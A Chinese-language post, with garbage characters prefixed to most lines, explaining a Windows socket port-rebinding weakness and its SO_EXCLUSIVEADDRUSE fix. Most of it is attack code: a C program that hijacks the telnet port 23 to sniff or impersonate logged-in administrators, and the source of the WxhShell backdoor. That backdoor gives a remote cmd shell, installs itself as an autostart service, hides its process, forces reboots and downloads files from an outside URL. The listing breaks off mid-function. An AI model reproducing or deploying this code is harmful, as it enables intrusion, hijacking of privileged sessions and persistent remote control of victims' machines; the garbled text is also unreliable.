在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
*FC26_pH s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
K?H(jP2mpM O^<\]_l saddr.sin_family = AF_INET;
3y]rhB cPg$*,] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
H;Cv]- k*o>ZpjNH bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
2br~Vn0N Ahrtl6@AS 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
rj-Q+rgup lCK|PY* 这意味着什么?意味着可以进行如下的攻击:
4<y|SI! mcLxX'c6<h 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
A}z1~Z+ oPC
qv 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
&WHK|bl
!AFii:# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
XDAwE MB3
N3,yL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
C.Re*;EI, AS]jJc^ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
D}L4uz? \!!1o+#1j 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
0;:AT|U/d pb}4{]sI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
/V
f L( }W$}blbp #include
xT;j_'9U; #include
q\T}jF\t #include
, \R,O #include
.q_SA-!w> DWORD WINAPI ClientThread(LPVOID lpParam);
T(iL#2^ int main()
axLO: Q, {
C5&+1VrP WORD wVersionRequested;
!)h?2#V8; DWORD ret;
=qF DrDt WSADATA wsaData;
.8/W_iC92 BOOL val;
/<it2= SOCKADDR_IN saddr;
Zm#qW2a]P SOCKADDR_IN scaddr;
Y"'k $jS- int err;
%a$Fsn SOCKET s;
'QxPQcU SOCKET sc;
5HMDug;
int caddsize;
.9KW|(uW HANDLE mt;
Nj|~3
*KO DWORD tid;
z+F:_ wVersionRequested = MAKEWORD( 2, 2 );
tqT-9sEXX. err = WSAStartup( wVersionRequested, &wsaData );
bZi;jl if ( err != 0 ) {
`)_11ywZ printf("error!WSAStartup failed!\n");
FaA7m return -1;
GN
?1dwI }
qwDoYyyu saddr.sin_family = AF_INET;
]WZi + .}DL%E`n //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
dX;G[\ Jej-b<HmQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
q<!KtI4 saddr.sin_port = htons(23);
2-.%WhE/ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
n9r3CLb[ {
wVY;)1? printf("error!socket failed!\n");
~ZXAW~a} return -1;
C!J6"j }
~n`G>Oe3 val = TRUE;
W.VyH|? //SO_REUSEADDR选项就是可以实现端口重绑定的
2Ik@L, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
HP*AN@>Kw {
ffE&=eh) printf("error!setsockopt failed!\n");
Ehf3L |9 return -1;
6v9A7g;4. }
8I|2yvhP //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
hV>@qOl
' //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
z]F4Z'(e. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
32ae? d ]z_C7Y"4BR if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
{_5PN^J {
DC8,ns]!y ret=GetLastError();
>5}jM5$ printf("error!bind failed!\n");
Dt8wd,B return -1;
txW<r8 }
d*TpHLm listen(s,2);
SK_i 3? while(1)
NK0hT,_ {
bLpGrGJs caddsize = sizeof(scaddr);
[Q*aJLG //接受连接请求
HOY9{>E}z sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
lg!{?xM if(sc!=INVALID_SOCKET)
Pw_[{ LL {
O`W&`B(*k mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
13:0%IO if(mt==NULL)
1F_ 1bAh$ {
zPT!Fa` printf("Thread Creat Failed!\n");
&.t|&8- break;
;Z(~;D }
p$A` qx<M_ }
95CCje{o_ CloseHandle(mt);
smt6).o }
a,U@ !}K closesocket(s);
K;_.WzWD= WSACleanup();
1GL@t?S return 0;
W!G2$e6 }
pr(16P DWORD WINAPI ClientThread(LPVOID lpParam)
CF k^(V" {
\XXS; SOCKET ss = (SOCKET)lpParam;
Z2dy|e(c SOCKET sc;
RU^lR8; unsigned char buf[4096];
KU}HVM{ SOCKADDR_IN saddr;
2!^[x~t long num;
`X7ns? DWORD val;
(iZE}qf7g DWORD ret;
X@ Gm:6 //如果是隐藏端口应用的话,可以在此处加一些判断
I=3e@aTZ, //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
;qF#!Kb5 saddr.sin_family = AF_INET;
(~>L \]! saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Ck0R%| saddr.sin_port = htons(23);
`y!6(xI if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_,2P4 {
Nl^{w'X0h printf("error!socket failed!\n");
#j{!&4M return -1;
L('G1J} }
,~_)Cf#CB val = 100;
F+@E6I'g if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
a+CHrnU\; {
6T_Mk0Sf+ ret = GetLastError();
buhn~ c return -1;
F"-w }
$LF if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Bjz\L0d {
K"sfN~@rT[ ret = GetLastError();
KR6*)?c` return -1;
hC.7Z] }
<E|K<}W# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
bTn7$EG {
43;@m}|7$ printf("error!socket connect failed!\n");
_r}oYs%1 closesocket(sc);
@: ~O closesocket(ss);
f*g>~! return -1;
t?0D* !D }
'`Smg3T!~S while(1)
{t$
vsR {
y^ gazr" //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
k]Y#-Q1p~ //如果是嗅探内容的话,可以再此处进行内容分析和记录
ul e]eRAG //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
F%Lniv/N num = recv(ss,buf,4096,0);
4C;4"6 if(num>0)
_F *("
o send(sc,buf,num,0);
}Vpr7_ else if(num==0)
w
1E}F break;
_=_]Yx num = recv(sc,buf,4096,0);
sM?bUg0w if(num>0)
1a)NM# send(ss,buf,num,0);
{37DrSOa else if(num==0)
S< <xlW break;
|*N.SS }
"9-duDg closesocket(ss);
Y'n TyH closesocket(sc);
HB4Hz0Fa return 0 ;
WG;1[o& }
?'K}bmdt}. 2oAPJUPOJ ^b`}g ==========================================================
x, js}Mlw >qjr7 vx 下边附上一个代码,,WXhSHELL
#(jozl_8 ,sk;|OAI ==========================================================
j$#pG DsqsMlB{ #include "stdafx.h"
`
BH8v -uiZp ! #include <stdio.h>
Ou;
]>FJ #include <string.h>
XQ<2(}]4 #include <windows.h>
`OnN12` #include <winsock2.h>
n]x4twZ #include <winsvc.h>
JBa=R^k #include <urlmon.h>
YizJT0$ mj<(qZh #pragma comment (lib, "Ws2_32.lib")
{W}.z #pragma comment (lib, "urlmon.lib")
%#NaM\=8v 7g5sJj #define MAX_USER 100 // 最大客户端连接数
+V&b<y;?> #define BUF_SOCK 200 // sock buffer
;0}$zy1EZ #define KEY_BUFF 255 // 输入 buffer
/40Z-'Bl=( W;,.OoDc> #define REBOOT 0 // 重启
pN&Dpz^ #define SHUTDOWN 1 // 关机
xkOyj`IS
o:#MP(h,N #define DEF_PORT 5000 // 监听端口
zp4Jd"XBX {t[j>_MYw #define REG_LEN 16 // 注册表键长度
?N#mD #define SVC_LEN 80 // NT服务名长度
q+t*3;X. fk P@e3
// 从dll定义API
'oHtg
@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Mno4z/4{A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
xrO:Y!C? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
c\.4I4uy typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
[dsH0 D&T jh`&c{#*)M // wxhshell配置信息
G3 #c struct WSCFG {
i}RxTmG< int ws_port; // 监听端口
#:z.Br` char ws_passstr[REG_LEN]; // 口令
DI9x]CR int ws_autoins; // 安装标记, 1=yes 0=no
HPpKti7g char ws_regname[REG_LEN]; // 注册表键名
Aa.bE,W char ws_svcname[REG_LEN]; // 服务名
V_!hrKkL char ws_svcdisp[SVC_LEN]; // 服务显示名
Gy
'l; 2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
1c,$D5# char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,g{`M]Ov int ws_downexe; // 下载执行标记, 1=yes 0=no
TH)gW char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
G F,/<R # char ws_filenam[SVC_LEN]; // 下载后保存的文件名
G[6V=G ?`,UW; Br6 };
iO3@2J Tm[IOuhM'? // default Wxhshell configuration
X'ryfa1| struct WSCFG wscfg={DEF_PORT,
c^UG}:Y "xuhuanlingzhe",
BG~h9.c 1,
uFb&WIo1 "Wxhshell",
!3 $Ph "Wxhshell",
k5=0L_xc "WxhShell Service",
,;H)CUe1" "Wrsky Windows CmdShell Service",
qbHb24I "Please Input Your Password: ",
ve=oH;zf 1,
Gs.id^Sf "
http://www.wrsky.com/wxhshell.exe",
FbJlyWND "Wxhshell.exe"
+D`IcR-x };
"m _wYX c5<M=$ // 消息定义模块
g-meJhX% char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Am!$\T%2 char *msg_ws_prompt="\n\r? for help\n\r#>";
&BCl>^wn} char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
5>"$95D char *msg_ws_ext="\n\rExit.";
xgL*O>l) char *msg_ws_end="\n\rQuit.";
)fpZrpLXE char *msg_ws_boot="\n\rReboot...";
D^I%tn=F char *msg_ws_poff="\n\rShutdown...";
Cz
Jze char *msg_ws_down="\n\rSave to ";
me$7\B;wy :^1 Xfc" char *msg_ws_err="\n\rErr!";
jUZ84Gm{ char *msg_ws_ok="\n\rOK!";
_*9eAeJ XJC|6"n char ExeFile[MAX_PATH];
PR{?l int nUser = 0;
d"Hh9O}6 HANDLE handles[MAX_USER];
lycY1 lK int OsIsNt;
6jiVz%`=Z 8"LvkN/v^ SERVICE_STATUS serviceStatus;
:u` SERVICE_STATUS_HANDLE hServiceStatusHandle;
L/"XIMI*Xg y0M^oLx // 函数声明
5"c#OU int Install(void);
:U0z; int Uninstall(void);
QK%{\qu int DownloadFile(char *sURL, SOCKET wsh);
OCa74)( int Boot(int flag);
d11~mU\ void HideProc(void);
5K;jW int GetOsVer(void);
~0!s5 int Wxhshell(SOCKET wsl);
4E J void TalkWithClient(void *cs);
nxKV7d@R int CmdShell(SOCKET sock);
votv rZ= int StartFromService(void);
.4^Ep\\ int StartWxhshell(LPSTR lpCmdLine);
cc*A/lD 7d]}BLpjWz VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
:xm,Ok VOID WINAPI NTServiceHandler( DWORD fdwControl );
ga?.7F ,sn
?V~) // 数据结构和表定义
BEx?
bf@|] SERVICE_TABLE_ENTRY DispatchTable[] =
\&`S~c V9 {
H.hF`n {wscfg.ws_svcname, NTServiceMain},
t`o-HWfS. {NULL, NULL}
xD,BlDV };
0ym>Hbax) B4r4PSB>! // 自我安装
R^<li;Km int Install(void)
CbVU z< {
MVs@~= char svExeFile[MAX_PATH];
xJa HKEY key;
0g,;Yzm strcpy(svExeFile,ExeFile);
Nj5Mc>_ 'mXf8 // 如果是win9x系统,修改注册表设为自启动
A/|To!R if(!OsIsNt) {
yJ c#y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
5(^&0c>P RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|yx]TD{~P RegCloseKey(key);
Q.>@w<[!L if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
<[@AMd S RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)/1AF^ E RegCloseKey(key);
>u
,Ac: return 0;
D kl4^} }
JQj?+PI }
a"EX<6" }
|77.Lqqy, else {
NGOc:>}k> o|*ao2a // 如果是NT以上系统,安装为系统服务
J70#pF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
f',n' if (schSCManager!=0)
CH[U.LJQ-O {
=J&vr SC_HANDLE schService = CreateService
J cL4q\g (
:3pJGMv( schSCManager,
5 >S#ew wscfg.ws_svcname,
=&;orP wscfg.ws_svcdisp,
yl/-! SERVICE_ALL_ACCESS,
zRd^Uks SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
?n)d: )Ud" SERVICE_AUTO_START,
~1]4 J(+ SERVICE_ERROR_NORMAL,
ijEMS1$=7 svExeFile,
<u]M):b3 NULL,
?`bi8 Ck NULL,
N DZ :`D NULL,
C#d.3t NULL,
[APwHIS NULL
thy)J.<J );
sG[v vm if (schService!=0)
T2<?4^xN {
{VtmQU?cJ CloseServiceHandle(schService);
cVYDO*N2T CloseServiceHandle(schSCManager);
S
{oW strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
B9^@d strcat(svExeFile,wscfg.ws_svcname);
|T\`wcP`q if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
r"sK@ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C62:G+W&o RegCloseKey(key);
&TJMop Vn return 0;
X |zQZ<CO }
Hof@,w }
meey5} CloseServiceHandle(schSCManager);
r6S-G{o }
"HX,RJ
@^K }
XHs>Q>` xucrp::g return 1;
wCw-EGLR }
%Xc50n2Z sQUJ]h // 自我卸载
3D32'KO_" int Uninstall(void)
7iMBDkb7 {
Hvqvggfi HKEY key;
A#;6~f .'foS>W=t if(!OsIsNt) {
)r2$!(NQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8T<LNC RegDeleteValue(key,wscfg.ws_regname);
;w>Dqem RegCloseKey(key);
(mbC! !> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(K9pr>le RegDeleteValue(key,wscfg.ws_regname);
9<0TF+}> RegCloseKey(key);
0<tce return 0;
^{Wx\+*! }
zwJB.4@ }
}
DQ<YF+ }
?+Gc.lU else {
1<|\df. j11FEE<W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
mV!Ia-k if (schSCManager!=0)
(5CdA1| {
:kU#5Aj gK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
N{+6 V`\ if (schService!=0)
:&Sv jJR {
p G|-<6WY if(DeleteService(schService)!=0) {
VWhq+8z CloseServiceHandle(schService);
|Y|6`9; CloseServiceHandle(schSCManager);
QAGR\~ return 0;
j IO2uTM~ }
zplAH!s5'' CloseServiceHandle(schService);
5SV w71* }
c{.y9P6 CloseServiceHandle(schSCManager);
ByyvRc,v }
mq#8[D }
*<r\:g 9;2{=, return 1;
hA=.${uIO }
WO;2=[#O; lU?8<X // 从指定url下载文件
/Ne;Kdp int DownloadFile(char *sURL, SOCKET wsh)
78M%[7Cq<i {
.X1xpi% HRESULT hr;
om_UQgC@r char seps[]= "/";
h]6m+oPW char *token;
j(aok5:e char *file;
e^!>W %.7Z char myURL[MAX_PATH];
uwI$t[ char myFILE[MAX_PATH];
s!73To}> :O?+Ywn strcpy(myURL,sURL);
UP<B>Y1a token=strtok(myURL,seps);
<n4?wo while(token!=NULL)
OQnb^fabY {
uuaoBf file=token;
ZNfQM&<d token=strtok(NULL,seps);
C" SG': }
pu-X -j o?,c#g GetCurrentDirectory(MAX_PATH,myFILE);
FTgqE@ strcat(myFILE, "\\");
$sILCn strcat(myFILE, file);
k'6x_
G send(wsh,myFILE,strlen(myFILE),0);
8kdJ;%^N send(wsh,"...",3,0);
2^aXXPC hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
WRCf[5 if(hr==S_OK)
q"LE6?hs return 0;
bU$f4J else
e^=b#!}-5: return 1;
=|+%^)E
_-=yD@;[D }
hQb3 8W[ Mq~ g+`
' // 系统电源模块
U{C&R&z int Boot(int flag)
}Y~<|vZ {
m'n<.1;1{j HANDLE hToken;
YMG~k3Yb TOKEN_PRIVILEGES tkp;
X_HU?Q_N :DG7Z if(OsIsNt) {
PenkqDc} OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
m!-R}PQC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
]]Fe:> tkp.PrivilegeCount = 1;
GI5#{-) tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
R$m?aIN AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
|S6L[Uo if(flag==REBOOT) {
A u10]b if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<D`VFSEJ return 0;
a&z$4!wQB }
>PS`;S!( else {
0n/+X[%Ti if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Xk>YiV",? return 0;
-|DBO0q }
%n{ue9 }
MA,7|s
else {
()MUyW"S#` if(flag==REBOOT) {
L3;cAb/ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/{R>o0oW return 0;
S*l=FRFI }
%#7 ] else {
"}Oj N\ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
y9U*E80q{ return 0;
Ghf/IXq# }
\=2<<
iv }
IY,n7x0d 0'Uo3jAB return 1;
[;Y*f,UG_- }
ruU &.mZ jPIOBEIG // win9x进程隐藏模块
GZ1c~uAu void HideProc(void)
&{e:6t {
PfN[)s4F{R ':d9FzGKa HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
cGM?r}zJ if ( hKernel != NULL )
myOdf'= {
;q33t%j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
Sa9p#OQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
FY9nVnIoI FreeLibrary(hKernel);
=m-nvXD }
{d '>J<Da &BxZ}JH=k return;
je;|zfe] }
^wlo;.8Y cqG&n0zb // 获取操作系统版本
K3^2;j1F Q int GetOsVer(void)
LEd@""h {
_ SJFuv/ OSVERSIONINFO winfo;
G-[.BWQ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ex+E66bE GetVersionEx(&winfo);
EkpM'j= if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
KY+BXGW* return 1;
>@0U B@ else
9jI5bi) return 0;
b^q%p1 }
`^df la RjxFlKs8 // 客户端句柄模块
T9?8@p\}( int Wxhshell(SOCKET wsl)
!BDJU {
R*O<( SOCKET wsh;
PUEEfq!% struct sockaddr_in client;
4Z0Y8y8) DWORD myID;
wCt!.<, . b *Ca*! while(nUser<MAX_USER)
|xFSGrC {
}qg.Go int nSize=sizeof(client);
m](q,65 2 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
JN-W`2 if(wsh==INVALID_SOCKET) return 1;
s x2\ +[":W?j handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
cD'|zH] if(handles[nUser]==0)
8,L)=3m- closesocket(wsh);
4W<8u( else
JIXZI\Fk nUser++;
~\OZEEI }
%?PRBE'}' WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hQ}y(2A.XI TG6E^3a P return 0;
Qe;R3D=T; }
.R_-$/ZP cH`ziZ<&m1 // 关闭 socket
UIo jXR< void CloseIt(SOCKET wsh)
ebiOR1)sN {
R6`,}<A]@ closesocket(wsh);
4tlLh`-8 nUser--;
$bF3v=u` ExitThread(0);
)sLXtV)nm6 }
lpnPd{kE BM[jF=0 // 客户端请求句柄
o)+Uyl void TalkWithClient(void *cs)
Q tl!f {
'RpX&g y eWB.M~X SOCKET wsh=(SOCKET)cs;
zt2#6v char pwd[SVC_LEN];
H{g&yo char cmd[KEY_BUFF];
;:aCZ8e char chr[1];
Su]p6B int i,j;
|W*i'E Vi>`g{\ while (nUser < MAX_USER) {
j[|mC;y. ?sclOOh if(wscfg.ws_passstr) {
7gQ2dp if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
AEo //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
%Krf,H //ZeroMemory(pwd,KEY_BUFF);
b G/[mZpRT i=0;
wZb77 while(i<SVC_LEN) {
Qq<+QL | eT@,QA(3 // 设置超时
k? !'OHmBL fd_set FdRead;
(3N;- struct timeval TimeOut;
LfX[(FP FD_ZERO(&FdRead);
l{t!
LTf; FD_SET(wsh,&FdRead);
yZY.B
{ TimeOut.tv_sec=8;
jfjT::f>l TimeOut.tv_usec=0;
c=<5DC&p int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|g!3f if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
,IRy.
qy )26_7.| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
*eAzk2 pwd
=chr[0]; .$-GGvN]
if(chr[0]==0xd || chr[0]==0xa) { C/YjMYwKgv
pwd=0; kmM->v
break; C n.x:I@r
} :ywm 4)
i++; kZNVUhW6S
} x%%OgO+>
^gY3))2_
// 如果是非法用户,关闭 socket u%AyW
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %ql2 XAY
} Pvz\zRq
Y(C-o[-N
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V?N8 ,)j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);
t&H3yV
p_qJI@u8
while(1) { @WICAC=
PLhlbzc f
ZeroMemory(cmd,KEY_BUFF); d7qYz7=d
/XXy!=1J
// 自动支持客户端 telnet标准 k/hNap'0
j=0; kGW4kuh)/q
while(j<KEY_BUFF) { T*qSk!
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); BL H~`N3U
cmd[j]=chr[0]; wD5fm5r=
if(chr[0]==0xa || chr[0]==0xd) { h5}:>yc
cmd[j]=0; =v7%IRP5
break; L]{1@~E:q
} M`tNYs]V
j++; NH;.!xq:
} :7)lg iM2
V2IurDE
// 下载文件 p>= b|Qy|
if(strstr(cmd,"http://")) { X*e<g=
send(wsh,msg_ws_down,strlen(msg_ws_down),0); {vU;(eN
if(DownloadFile(cmd,wsh)) 0 ![
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0%"sOth
else Q3 yW#eD
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #L9F\ <K
} tl^![Z
else { y28 e=i
Rp_)LA
switch(cmd[0]) { !+T29QYK8
HD153M,
// 帮助 Hg2Rcl
case '?': { i2 G.<(3O
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); um*!+Q
break; Og<nnq
} A_2oQ*
// 安装 L<Q>:U.@\
case 'i': { )GR4U8<>g
if(Install()) TcOmBKps'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @y(<4kLz
else UzT"Rb:e
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eKW^\
break; "RLv{D<)J,
} $n* wS,
// 卸载 cCO2w2A[*
case 'r': { ;Miag'7
if(Uninstall()) !M;><b}=5
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >wf.C%
else k@>y<A{;D
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @w73U;9\
break; 89\DS!\x9
} 'oS= d
// 显示 wxhshell 所在路径 l9#@4Os
case 'p': { 4N8(WI"4S
char svExeFile[MAX_PATH]; N'~l,{
strcpy(svExeFile,"\n\r"); uc]`^,`2/
strcat(svExeFile,ExeFile); \JbOT%1
send(wsh,svExeFile,strlen(svExeFile),0); 9}jezLI/3
break; 2JL\1=k;
} z~Is
E8
// 重启 |:,i
case 'b': { fzjAP7 y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GEtzLaq<
if(Boot(REBOOT)) ]4eIhj?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eh&-b6:
else { ~zhP[qA})
closesocket(wsh); 5aJd:36I
ExitThread(0); #TPS?+(
} 3NSX(gC%
break; Z~v-@
} jW;g{5X
// 关机 q}cm"lO$
case 'd': { )<[)7`
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [^0 S#,L
if(Boot(SHUTDOWN)) pYz\GSd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); N;R I
A
else { T7?cnK"
closesocket(wsh); 9y?)Ga
ExitThread(0); odhcU5
} wf2v9.;X:<
break; &NH[b1NMr
} pB'{_{8aA
// 获取shell \EW<;xq
case 's': { qu%}b>
CmdShell(wsh); )Y:C'*.r
closesocket(wsh); .qS(-7<
ExitThread(0); 8 DPn5E#M1
break; d[`vd^hI
} +'{d^-( (
// 退出 GUC.t7!
case 'x': { ^T*'B-`C7X
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9w dl1QS
CloseIt(wsh); A.cNOous|
break; Td5yRN! ?
} 2x!cblo
// 离开 %/w%A:y#&
case 'q': { Ni>!b6Z`[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w@x||K= Z
closesocket(wsh); v,d'SR.
WSACleanup(); /wU4^8Hz
exit(1); M`p[ Zq
break; X=jHH=</
} 7x#."6>Dy
} i,!t u
} Kp>fOe'KW
K#LDmC
// 提示信息 FK~*X3'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QC6:ZxP
} -lS(W^r4
} w5;d/r<q
p|Qn?^C:
return; ?H!QV;ku
} e[Jh7r>'
..Bf-)w
// shell模块句柄 S|r,RBeZ
int CmdShell(SOCKET sock) =w ! 6un
{ ou=33}uO
STARTUPINFO si; 5Kl;(0B9
ZeroMemory(&si,sizeof(si)); sB wzb
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .4[M7)
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )6{,y{5!
PROCESS_INFORMATION ProcessInfo; x9\]C'*sO
char cmdline[]="cmd"; ={\9-JJhE
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4}NCdGD
return 0; Qrw:Bva)
} MG vp6/Pd
YI?tmqzt
// 自身启动模式 \. YJs"<3
int StartFromService(void) oAgU rl;R
{ I ;F\'P)e
typedef struct s[#_sR`y
{ P
c'\
DWORD ExitStatus; La$?/\Dv)
DWORD PebBaseAddress; 8*^*iEsR
DWORD AffinityMask; LoW}!,|
DWORD BasePriority; <Aqo[']
ULONG UniqueProcessId; e \.
ULONG InheritedFromUniqueProcessId; r*UE>_3J
} PROCESS_BASIC_INFORMATION; `t>:i!s/
RG:_:%@%}
